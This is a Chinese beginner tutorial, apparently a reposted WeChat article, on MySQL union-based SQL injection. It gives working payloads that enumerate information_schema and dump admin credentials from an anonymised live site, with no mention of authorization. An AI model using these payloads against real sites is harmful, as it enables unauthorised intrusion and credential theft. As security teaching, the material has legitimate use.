Loading [MathJax]/jax/output/CommonHTML/config.js
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >实战|MySQL联合注入

实战|MySQL联合注入

作者头像
Power7089
发布于 2019-11-14 09:40:50
发布于 2019-11-14 09:40:50
1.4K00
代码可运行
举报
运行总次数:0
代码可运行

0x01

SQL注入原理:

一、SQL注入就是一种通过操作SQL语句进行攻击目的的技术 二、SQL语句是各大数据库中的语言代码

0x02

SQL注入的产生:

攻击者通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击①不当的类型处理;②不安全的数据库配置;③不合理的查询集处理;④不当的错误处理;⑤转义字符处理不合适;⑥多个提交处理不当。

0x03

判断是否存在SQL注入:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
传参的地方后面加上单引号 And 1=1  正常                 
存在注入And 1=2  不正常 
或者 or  xor   且或非

0x04

判断字段数:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Order by X  取临界值

0x05

MySQL注入中常用的函数:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
User()   用户组权限Database()  数据库名Version()    PHP版本@@verSion_compile_os  操作系统

0x06

MySQL注入中需要用的:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Information_schema.tables  记录表名信息的表
Information_schema.columns  记录列名信息的表
Table_name  表名
Column_name  列名
group_concat(column_name)  所有列名
Schema_table  数据库名数据库名中符号
‘.’代表下一级的意思
补充一下:MySQL5.0以上与MySQL5.0以下是有区别的。

0x07

开始实战

目标站点:www.xxx.com

打开目标站点,到处点点,找到一处带有参数的url地址

我们输入单引号

页面报错了,这个时候我们再输入 and 1=1

返回正常页面,我们再 and 1=2 看看

返回的是500错误,当我们and 1=1 时页面返回正常,and 1=2 时页面返回错误,有些时候返回500不要觉得没有,有些时候照样存在注入。由此我们可以判断这里是存在注入的。

接下来我们要判断有多少字段数,上面已经说到判断字段数,使用order by x 取临界值(在这里我提前测试过了已经知道是25个字段)

我们输入order by 25 返回正常,order by 26时返回错误,由此我们可以判定存在25个字段。接下来我们使用联合注入。

第一步、为什么我要在参数前面加上-号呢?因为要让他报错回显出来,那个字段数上才是可控的,或者可以使用参数后面加上 and 1=2

可以看到,爆出数字9与19,说明在9跟19这两个数是可控的,在这里我们就要用到我们上面说的函数了,查数据库名,查操作系统,查PHP版本,查用户组权限。这里我就直接查数据库名了。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
   语句:http://www.xxx.com/xxx.php?xxx=-408 
   union select 1,2,3,4,5,6,7,8,database(),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25

可以看到数据库为xxxi_db,接下来查询这个数据库下面的所有表名信息。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
   语句:http://www.xxx.com/xxx.php?xxx=-408 
   union select1,2,3,4,5,6,7,8,group_concat(table_name),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 from information_schema.tables where table_schema='xxxi_db(刚才查到的数据库名)'

在这里就要分析一下,你觉得那个表下面可能会存在存放后台管理员的账号密码的列,这里很明显是adminuser这个表。在这里还要说一下,如果'数据库名',这里也可以不用单引号,可以编码一下,编码至16进制就可不用单引号。下面我们要查询adminuser表下的列信息。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
    语句:http://www.xxx.com/xxx.php?xxx=-408 
    union select 1,2,3,4,5,6,7,8,group_concat(column_name),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 from information_schema.columns where table_name='表名'

查询到adminuser这个表下面有三个列名。id,aduser,adpword。后台管理员账号密码肯定就存在aduser跟adpword这两个列里面了。接下来就是让他爆出里面的数据了。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
    语法:http://www.xxx.com/xxx.php?xxx=-408 
    union select 1,2,3,4,5,6,7,8,aduser,10,11,12,13,14,15,16,17,18,adpword,20,21,22,23,24,25 from 表名

做到这里,后台管理员的账号与密码就可以注入出来了,找后台这里就先不说了,因为这次主要说的是SQL注入。

如果大家觉得哪里理解不了,可以发消息至公众号,你们发的消息我都有看的。这次这篇文章是给刚入门的兄弟们学习的,大佬们就先跳过吧。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-11-09,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 小白帽学习之路 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
Sqlilabs通关笔记(一)
关卡源码下载地址: https://github.com/Audi-1/sqli-labs
网络安全自修室
2020/07/22
6860
SQL注入(一)之union注入
SQL注入(一)之union注入 靶机地址:http://59.53.63.23:10772/ 在SQL注入的前期,第一件事情就是找到SQL注入点,在找到注入点后开始下面的内容: 一、联合查询法(一) a.判断注入点: and 1=1 --返回true,显示正常 and 1=2 --返回false,显示错误 b.猜多少列 order by [数值] c.联合查询猜表名 union select 1,2,3,……,7 from users --猜表名并记录返回回显位(报错说明表不存在,将表名更换继续猜)
木尤
2020/07/15
1.7K0
SQL注入(一)之union注入
SQL注入从入门到进阶
本文章产生的缘由是因为专业老师,让我给本专业的同学讲一哈SQL注入和XSS入门,也就是本文的入门篇,讲完两节课后,发现自己对于SQL注入的理解也就仅仅局限于入门,于是有了进阶章节的产生。
小简
2022/12/29
4.1K0
SQL注入从入门到进阶
SQL注入靶场Day4 宽字节注入
mysql支持16进制输入,16进制输入可以替代字符从而避免了单引号的加入 user 16进制得到:75736572
Baige
2022/03/22
7551
SQL注入靶场Day4 宽字节注入
新手科普 | MySQL手工注入之基本注入流程
MySQL手工注入的基本步骤以及一些技巧的记录,当出现学习手工注入的时候,网上的文章参差不齐,导致很长一段时间对手工注入的理解一直处于一知半解的状态,特此记录本文,让小白们少走些弯路。本文只针对手工注
FB客服
2018/02/24
1.2K0
新手科普 | MySQL手工注入之基本注入流程
WEB 安全学习 一、mysql 注入漏洞
转载: https://www.cnblogs.com/cui0x01/p/8620524.html
梅花
2020/09/28
8900
WEB 安全学习 一、mysql 注入漏洞
sql注入入门学习(数字型)(连载中)
在MySQL中,表名存放在information_schema数据库下tables表table_name字段中、查表名我们主要用到的是TABLES表
一个淡定的打工菜鸟
2018/12/07
1.2K0
渗透测试系统学习-Day6
SQL注入是网站存在最多的也是比较简单的漏洞,主要原因是程序对用户的字符串没有进行过滤或者过滤处理不严谨,导致用户可以通过精心构造语句来非法获取数据库中的信息,SQL注入的首次公开讨论始于1998年,至今有很长一段时间了,漏洞之王的称号,但是最近也有讨论关于SQL注入死透了的话题...但是不论如何,SQL注入也应当是必学的一个课题。
Baige
2022/03/22
3760
渗透测试系统学习-Day6
2022年最详细的SQL注入总结笔记
SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息,在实战和测试中,难免会遇见到一些sql注入,下面,我将总结一些常用sql注入中的不同姿势。
纯情
2023/04/27
1.3K0
2022年最详细的SQL注入总结笔记
科普基础 | 这可能是最全的SQL注入总结,不来看看吗
2.ACCESS没有库名,只有表和字段,并且注入时,后面必须跟表名,ACCESS没有注释
HACK学习
2019/11/14
5.4K0
自学sql注入(二)
这是笔者自行整理出来的有关sql注入的一些知识点,自己还有些迷迷糊糊,可能有些不对的地方。等学完之后,再来详写一系列的关于sql注入的文章
宸寰客
2020/07/14
4960
SQL注入
首先先说点知识,1、MySql在5.0版本后新增一个叫information_schema的虚拟数据库,其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。利用这个可以获取表名,列名等 2、查询中用到的group_concat()函数是要把查询的内容联合到一起方便查看的,这样就不需要limit 0,1一个一个判断了 先查个字段,因为有三个数据,就用4吧order by 4#
故里[TRUE]
2023/04/16
1.2K0
SQL注入
SQL注入攻击与防御
在动态网站中,往往需要用户传递参数到服务器,这些参数往往需要和数据库进行交互;当服务端没有对参数进行安全过滤时,攻击者在参数中加入恶意的SQL语句结构,便编造成了SQL注入漏洞.
婷婷的橙子
2020/11/02
8K0
SQL注入攻击与防御
SQL注入之联合查询注入
在一个在一个网站的正常页面,服务端执行SQL语句查询数据库中的数据,客户端将数 据展示在页面中,这个展示数据的位置就叫显示位
全栈程序员站长
2022/08/31
1.4K0
SQL 注入漏洞浅研究学习
SQL注入漏洞:Web安全方面最高危的漏洞,SQL漏洞威胁着网站后台数据的安全问题。
Mirror王宇阳
2020/11/13
8420
SQL 注入漏洞浅研究学习
SQL注入详谈
所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
行云博客
2022/05/11
7210
sql注入-联合查询总结
mysql通过information_schema这个表查询相应的数据库名,表名,字段名。
Gamma实验室
2020/12/23
2.4K0
sql注入-联合查询总结
小记 - Web安全
敏感目录:后台目录、上传目录、phpinfo、robots.txt、网站压缩包、Mysql管理接口、安装页面
Naraku
2021/07/29
2.1K0
小记 - Web安全
SQL手工注入漏洞测试(MySQL数据库)
先浏览页面判断存在注入 >查长度>查数据库>查表>查字段>查数据数量>查用户+密码>解密登录 找不到可注入点可以观察网页是否可以跳转到其他页面,并重新寻找注入点,查询的时候尽量使用group_concat()防止漏数据。
张国平
2022/09/29
2K0
SQL手工注入漏洞测试(MySQL数据库)
复习 - SQL注入
场景:网站A无注入点,网站B存在MySQL注入,且网站AB使用同一数据库。此时可利用网站B的注入点跨库查询获取网站A的数据。
Naraku
2021/07/28
1.1K0
相关推荐
Sqlilabs通关笔记(一)
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验